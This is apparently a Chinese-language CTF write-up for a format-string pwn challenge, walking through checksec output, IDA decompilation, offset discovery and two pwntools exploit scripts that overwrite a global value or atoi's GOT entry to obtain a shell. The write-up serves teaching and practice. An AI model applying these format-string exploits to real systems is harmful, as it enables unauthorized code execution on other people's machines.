分析

  1. checksec
1
2
3
➜  pwn checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 2 pwn
  1. ida
1
2
3
4
5
6
7
8
9
10
11
12
// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
int v2; // esi
int v3; // [esp-4h] [ebp-4h] BYREF
char *retaddr; // [esp+0h] [ebp+0h] BYREF

v2 = v3;
v3 = a1;
__libc_start_main(main, v2, &retaddr, (void (*)(void))sub_8049360, (void (*)(void))nullsub_2, a2, &v3);
__halt();
}

跟进main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]

v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}

发现只要满足这个条件:atoi(nptr) == dword_804C044 ,就可以拿到shell。

观察发现有printf函数,存在格式化漏洞利用

查看dword_804C044:

1
.bss:0804C044 dword_804C044   dd ?                    ; DATA XREF: main+77↑o
  • 地址:0x804C044
  • 数值:随机

利用

  1. 计算偏移
1
2
3
➜  pwn ./pwn 
your name:aaaa %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
Hello,aaaa ff869038 63 0 e9d2aba0 3 e9ceb7b0 1 0 1 61616161 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520

可以发现,偏移为10

  1. 利用代码
1
2
3
4
5
6
7
from pwn import *
r = remote('node5.buuoj.cn',27363)
dword_addr = 0x804C044
buf = fmtstr_payload(10,{dword_addr:0x0101})
r.sendlineafter("your name:",buf)
r.sendlineafter("your passwd",str(0x0101))
r.interactive()

flag{2b7c0263-7161-4341-800e-44cd6d86b2a9}


这题也可以利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得*到shell

1
2
3
4
5
6
7
8
9
from pwn import *
p = process('./pwn5')
elf = ELF('./pwn5')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()